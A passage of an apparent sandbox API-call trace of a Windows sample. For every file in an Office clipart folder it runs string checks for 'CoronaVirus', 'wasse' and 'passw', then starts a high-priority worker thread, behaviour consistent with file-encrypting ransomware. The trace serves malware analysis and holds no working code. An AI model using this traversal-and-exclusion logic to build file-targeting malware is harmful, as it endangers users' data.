	[0091.513] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif", _SubStr="wasse") returned 0x0
	[0091.513] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif", _SubStr="passw") returned 0x0
	[0091.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c
	[0091.514] SetThreadPriority (hThread=0x82c, nPriority=15) returned 1
	[0091.515] malloc (_Size=0x1000) returned 0x51fd0d8
	[0091.515] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif") returned 68
	[0091.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif", _SubStr="wasse") returned 0x0
	[0091.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif", _SubStr="passw") returned 0x0
	[0091.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fd0d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820
	[0091.516] SetThreadPriority (hThread=0x820, nPriority=15) returned 1
	[0091.517] malloc (_Size=0x1000) returned 0x51f90b8
	[0091.566] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif") returned 68
	[0091.566] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.566] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif", _SubStr="wasse") returned 0x0
	[0091.566] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif", _SubStr="passw") returned 0x0
	[0091.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f90b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900
	[0091.567] SetThreadPriority (hThread=0x900, nPriority=15) returned 1
	[0091.569] malloc (_Size=0x1000) returned 0x51f80b0
	[0091.569] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif") returned 68
	[0091.569] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.569] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif", _SubStr="wasse") returned 0x0
	[0091.569] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif", _SubStr="passw") returned 0x0
	[0091.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f80b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0091.570] SetThreadPriority (hThread=0x8d4, nPriority=15) returned 1
	[0091.575] malloc (_Size=0x1000) returned 0x51ff0e8
	[0091.575] _swprintf (in: param_1=0x51ff0e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif") returned 68
	[0091.575] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.575] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif", _SubStr="wasse") returned 0x0
	[0091.575] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif", _SubStr="passw") returned 0x0
	[0091.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51ff0e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0091.576] SetThreadPriority (hThread=0x8bc, nPriority=15) returned 1
	[0091.577] malloc (_Size=0x1000) returned 0x51fa0c0
	[0091.577] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif") returned 68
	[0091.577] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.577] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif", _SubStr="wasse") returned 0x0
	[0091.577] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif", _SubStr="passw") returned 0x0
	[0091.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fa0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0091.578] SetThreadPriority (hThread=0x898, nPriority=15) returned 1
	[0091.579] malloc (_Size=0x1000) returned 0x52010f8
	[0091.579] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif") returned 68
	[0091.579] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.579] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif", _SubStr="wasse") returned 0x0
	[0091.579] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif", _SubStr="passw") returned 0x0
	[0091.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x52010f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0091.580] SetThreadPriority (hThread=0x874, nPriority=15) returned 1
	[0091.581] malloc (_Size=0x1000) returned 0x51fc0d0
	[0091.581] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif") returned 68
	[0091.581] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.581] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif", _SubStr="wasse") returned 0x0
	[0091.581] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif", _SubStr="passw") returned 0x0
	[0091.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fc0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0091.582] SetThreadPriority (hThread=0x8b0, nPriority=15) returned 1
	[0091.583] malloc (_Size=0x1000) returned 0x51fb0c8
	[0091.583] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif") returned 68
	[0091.583] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.583] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif", _SubStr="wasse") returned 0x0
	[0091.583] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif", _SubStr="passw") returned 0x0
	[0091.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fb0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0091.584] SetThreadPriority (hThread=0x850, nPriority=15) returned 1
	[0091.585] malloc (_Size=0x1000) returned 0x5204110
	[0091.586] _swprintf (in: param_1=0x5204110, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif") returned 68
	[0091.586] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.586] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif", _SubStr="wasse") returned 0x0
	[0091.586] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif", _SubStr="passw") returned 0x0
	[0091.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5204110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0091.586] SetThreadPriority (hThread=0x7f0, nPriority=15) returned 1
	[0091.588] malloc (_Size=0x1000) returned 0x51fe0e0
	[0091.588] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif") returned 68
	[0091.588] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.588] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif", _SubStr="wasse") returned 0x0
	[0091.588] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif", _SubStr="passw") returned 0x0
	[0091.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fe0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c
	[0091.589] SetThreadPriority (hThread=0x88c, nPriority=15) returned 1
	[0091.590] malloc (_Size=0x1000) returned 0x5206120
	[0091.590] _swprintf (in: param_1=0x5206120, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif") returned 68
	[0091.590] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.590] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif", _SubStr="wasse") returned 0x0
	[0091.590] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif", _SubStr="passw") returned 0x0
	[0091.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5206120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0091.591] SetThreadPriority (hThread=0x770, nPriority=15) returned 1
	[0091.592] malloc (_Size=0x1000) returned 0x5202100
	[0091.592] _swprintf (in: param_1=0x5202100, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif") returned 68
	[0091.592] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.592] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif", _SubStr="wasse") returned 0x0
	[0091.592] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif", _SubStr="passw") returned 0x0
	[0091.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5202100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8
	[0091.593] SetThreadPriority (hThread=0x7a8, nPriority=15) returned 1
	[0091.595] malloc (_Size=0x1000) returned 0x52000f0
	[0091.595] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif") returned 68
	[0091.595] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.595] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif", _SubStr="wasse") returned 0x0
	[0091.595] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif", _SubStr="passw") returned 0x0
	[0091.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x52000f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8
	[0091.595] SetThreadPriority (hThread=0x7b8, nPriority=15) returned 1
	[0091.597] malloc (_Size=0x1000) returned 0x5209138
	[0091.597] _swprintf (in: param_1=0x5209138, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif") returned 68
	[0091.597] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.597] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif", _SubStr="wasse") returned 0x0
	[0091.597] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif", _SubStr="passw") returned 0x0
	[0091.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5209138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0091.598] SetThreadPriority (hThread=0x7e8, nPriority=15) returned 1
	[0091.600] malloc (_Size=0x1000) returned 0x5207128
	[0091.600] _swprintf (in: param_1=0x5207128, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif") returned 68
	[0091.600] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.600] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif", _SubStr="wasse") returned 0x0
	[0091.600] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif", _SubStr="passw") returned 0x0
	[0091.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5207128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0091.600] SetThreadPriority (hThread=0x884, nPriority=15) returned 1
	[0091.633] malloc (_Size=0x1000) returned 0x520a140
	[0091.633] _swprintf (in: param_1=0x520a140, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif") returned 68
	[0091.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif", _SubStr="wasse") returned 0x0
	[0091.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif", _SubStr="passw") returned 0x0
	[0091.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x520a140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0091.634] SetThreadPriority (hThread=0x788, nPriority=15) returned 1
	[0091.635] malloc (_Size=0x1000) returned 0x520c150
	[0091.635] _swprintf (in: param_1=0x520c150, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif") returned 68
	[0091.635] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.635] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif", _SubStr="wasse") returned 0x0
	[0091.635] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif", _SubStr="passw") returned 0x0
	[0091.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x520c150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c
	[0091.636] SetThreadPriority (hThread=0x93c, nPriority=15) returned 1
	[0091.638] malloc (_Size=0x1000) returned 0x5208130
	[0091.638] _swprintf (in: param_1=0x5208130, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif") returned 68
	[0091.638] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.638] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif", _SubStr="wasse") returned 0x0
	[0091.638] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif", _SubStr="passw") returned 0x0
	[0091.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5208130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8
	[0091.638] SetThreadPriority (hThread=0x8a8, nPriority=15) returned 1
	[0091.640] malloc (_Size=0x1000) returned 0x520b148
	[0091.640] _swprintf (in: param_1=0x520b148, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif") returned 68
	[0091.640] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.640] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif", _SubStr="wasse") returned 0x0
	[0091.640] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif", _SubStr="passw") returned 0x0
	[0091.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x520b148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0091.640] SetThreadPriority (hThread=0x8cc, nPriority=15) returned 1
	[0091.641] malloc (_Size=0x1000) returned 0x5205118
	[0091.641] _swprintf (in: param_1=0x5205118, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif") returned 68
	[0091.641] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.641] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif", _SubStr="wasse") returned 0x0
	[0091.642] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif", _SubStr="passw") returned 0x0
	[0091.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5205118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0091.642] SetThreadPriority (hThread=0x8ec, nPriority=15) returned 1
	[0091.644] malloc (_Size=0x1000) returned 0x520e160
	[0091.644] _swprintf (in: param_1=0x520e160, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif") returned 68
	[0091.644] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.644] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif", _SubStr="wasse") returned 0x0
	[0091.644] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif", _SubStr="passw") returned 0x0
	[0091.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x520e160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904
	[0091.645] SetThreadPriority (hThread=0x904, nPriority=15) returned 1
	[0091.663] malloc (_Size=0x1000) returned 0x520d158
	[0091.663] _swprintf (in: param_1=0x520d158, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif") returned 68
	[0091.663] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.664] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif", _SubStr="wasse") returned 0x0
	[0091.665] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif", _SubStr="passw") returned 0x0
	[0091.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x520d158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930
	[0091.666] SetThreadPriority (hThread=0x930, nPriority=15) returned 1
	[0091.668] malloc (_Size=0x1000) returned 0x2fe28e8
	[0091.668] _swprintf (in: param_1=0x2fe28e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif") returned 68
	[0091.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif", _SubStr="wasse") returned 0x0
	[0091.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif", _SubStr="passw") returned 0x0
	[0091.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe28e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918
	[0091.668] SetThreadPriority (hThread=0x918, nPriority=15) returned 1
	[0091.670] malloc (_Size=0x1000) returned 0x2fdd8c0
	[0091.670] _swprintf (in: param_1=0x2fdd8c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif") returned 68
	[0091.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif", _SubStr="wasse") returned 0x0
	[0091.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif", _SubStr="passw") returned 0x0
	[0091.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fdd8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934
	[0091.670] SetThreadPriority (hThread=0x934, nPriority=15) returned 1
	[0091.671] malloc (_Size=0x1000) returned 0x2fe5900
	[0091.672] _swprintf (in: param_1=0x2fe5900, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif") returned 68
	[0091.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif", _SubStr="wasse") returned 0x0
	[0091.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif", _SubStr="passw") returned 0x0
	[0091.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe5900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c
	[0091.672] SetThreadPriority (hThread=0x94c, nPriority=15) returned 1
	[0091.673] malloc (_Size=0x1000) returned 0x2fe08d8
	[0091.673] _swprintf (in: param_1=0x2fe08d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif") returned 68
	[0091.673] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.673] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif", _SubStr="wasse") returned 0x0
	[0091.673] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif", _SubStr="passw") returned 0x0
	[0091.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe08d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798
	[0091.674] SetThreadPriority (hThread=0x798, nPriority=15) returned 1
	[0091.676] malloc (_Size=0x1000) returned 0x2fe48f8
	[0091.676] _swprintf (in: param_1=0x2fe48f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif") returned 68
	[0091.676] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.676] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif", _SubStr="wasse") returned 0x0
	[0091.676] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif", _SubStr="passw") returned 0x0
	[0091.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe48f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0091.676] SetThreadPriority (hThread=0x790, nPriority=15) returned 1
	[0091.679] malloc (_Size=0x1000) returned 0x2fdf8d0
	[0091.679] _swprintf (in: param_1=0x2fdf8d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif") returned 68
	[0091.679] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.679] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif", _SubStr="wasse") returned 0x0
	[0091.679] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif", _SubStr="passw") returned 0x0
	[0091.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fdf8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824
	[0091.680] SetThreadPriority (hThread=0x824, nPriority=15) returned 1
	[0091.919] malloc (_Size=0x1000) returned 0x2fde8c8
	[0091.919] _swprintf (in: param_1=0x2fde8c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif") returned 68
